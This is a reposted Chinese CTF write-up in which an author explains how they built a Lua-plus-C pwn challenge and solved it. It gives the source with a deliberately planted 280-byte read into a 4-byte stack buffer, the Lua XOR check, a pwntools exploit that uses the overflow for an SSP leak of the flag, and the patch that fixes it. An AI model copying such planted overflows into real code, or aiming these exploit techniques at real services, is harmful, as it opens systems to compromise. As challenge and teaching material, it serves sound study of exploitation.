一道结合lua的pwn题–出题思路与解题过程 | 宜武汇-ag真人国际厅网站

前言

前段时间打了国赛,出了道bulid的pwn题,用到了几个杂而有趣的知识点,玩起来不太常规,做起来甚至可以说是有点难受,在此记录一下。

文末也有链接

出题思路

最近学了学安卓,想到了一个之前分析过的mobile案例,一个apk通过调用lua实现函数的重写(就是之前血洗高校的一个apk),觉得很好玩,决定应用到题目里边。

文件结构:一个二进制文件,一个加密过的lua文件,一个flag文件。

程序流程:

  • 二进制程序部署在特定端口,使用nc访问
  • 程序起来后会加载加密过的lua文件到内存,之后程序在内存中解密lua程序,在程序中输入字符,将字符交给lua进行处理,必须满足某种关系程序才能向下进行。
  • 完成绕过后选择了缓冲区溢出,文件没关canary,用ssp leak可以直接把flag读出来。整体看下来就是一个披着pwn题外衣的c加lua程序逆向题。
  • 因为用到了好多c语言lua库函数的好多函数,用ida分析程序会发现非常恶心,得仔细扣,之前没接触过这种的还得现学。

题目源码

写的时候现学现卖,请师傅们指教

#include  #include  #include  #include  #include  #include  #include  char flag[0x20]; char* c; uint8_t *enc(uint8_t *data, int size) {//加密函数,和解密函数完全一致 uint8_t *temp = (uint8_t *)malloc(size); int k[3]={2,3,5}; int i; if (size) { for (i = 0; i < size; i  ) { temp[i] = data[i]^k[i%3]; } return temp; } } int main() { setvbuf(stdout,0,2,0); file *f = fopen("main.lua", "rb");//读入同目录加密过的lua文件 if (f == null) return -1; fseek(f, 0, seek_end); long file_size = ftell(f); uint8_t *buf = (uint8_t *)malloc(file_size); rewind(f); fread(buf, sizeof(char), file_size, f); uint8_t *rea = enc(buf,file_size); lua_state *luaenv = lua_open();//创建一个新的lua_state luaopen_base(luaenv); lual_openlibs(luaenv); if(!luaenv) { return -1; } int loadinfo = lual_loadstring(luaenv,rea);//以字符串形式把解密过的lua语句load进去 if(loadinfo) { return -1; } int i,j,a,k=3; puts("hello i'm lua.\nlet's experience something different"); while(k){ puts("enter two numbers in your heart;)"); scanf("%d",&i); scanf("%d",&j); lua_pcall(luaenv,0,0,0); lua_getglobal(luaenv,"hndl");//找这个名字的函数 lua_pushnumber(luaenv,i);//以堆栈形式传参 lua_pushnumber(luaenv,j); puts("mamimami hon~~~~"); lua_pcall(luaenv,2,1,0);//完成调用,之后的参数分别是参数个数、返回值个数和错误处理函数(0表示无) a=lua_tonumber(luaenv,-1);//同样以堆栈方式取值 puts("who am i?"); sleep(1); printf("%d!!\n",a); if(a==random())//和伪加密数进行比较 k--;//重复次数 else { puts("your ideas are different from lua's :( sry"); exit(0); } } char b[4]; file *fp; fp = fopen("flag","r"); fread(flag,1,0x20,fp); puts("all right,the magic failed"); read(0,b,280); return 0; } //gcc -o lua_magic te.c -llua5.1

看下lua加密前的源码

function bitxor(a,b) local p,c=1,0 while a>0 and b>0 do local ra,rb=a%2,b%2 if ra~=rb then c=c p end a,b,p=(a-ra)/2,(b-rb)/2,p*2 end if a0 do local ra=a%2 if ra>0 then c=c p end a,p=(a-ra)/2,p*2 end return c end function hndl(i,j) j = bitxor(5977654,j) return bitxor(i,j) end

由于lua5.1不支持位运算,有必要写个异或运算函数到lua文件里边。我没改bitxor名字,直接用了师傅的轮子。同时作为白嫖党吃人嘴短,做异或处理的时候用的5977654和stackoverflow的轮子对应

解题思路

选手拿题后应该是一个lua_magic和经过处理enc过的main.lua,lua文件长这样

用ida简单看下lua_magic

其实还好,用到的都分析出来了,之后就是动态调试程序,把内存中解密完的lua程序dump出来(enc执行完后下断)

然后一起结合dump出来的lua程序和ida一起分析就好了。

随机数的生成自己写个c脚本:

算起来的话就反着来就行,和1异或完和5977654异或就好了

最后进入最后一步

读入0x118字节,完全够了,全暴力填flag的bss地址就好,exp如下

from pwn import * #ip=sys.argv[1] #port=sys.argv[2] context.log_level = 'debug' p=process('./lua_magic') #p = remote(ip, port) p.recvuntil("enter two numbers in your heart;)\n") p.sendline("1") p.sendline("1808823120") sleep(1) p.recvuntil("enter two numbers in your heart;)\n") p.sendline("1") p.sendline("840963569") sleep(1) p.recvuntil("enter two numbers in your heart;)\n") p.sendline("1") p.sendline("1684516446") sleep(1) p.send(p64(0x602140)*35) #p.interactive()

修复 & 总结

因为b就4个字节,patch成read(0,b,4);即可完成修复。

这题流程比较长,在划分题目难度的时候觉得难点和亮点都在lua那块,就归到了中等难度。在好几个地方都能上一个难度系数,如加解密lua语句函数enc、lua脚本处理输入逻辑、read进去b后再搞个lua语句处理等,但想了想还是算了,觉得点到为止为最佳,本身出这种题还是考验知识积累和快速学习,感觉再难点就偏了。

刚出完我觉得还是很有趣的,自己做完感觉几个考察的点还是有点僵硬,出题真的是门艺术。

原文链接:https://xz.aliyun.com/t/9004

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/一道结合lua的pwn题-出题思路与解题过程/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图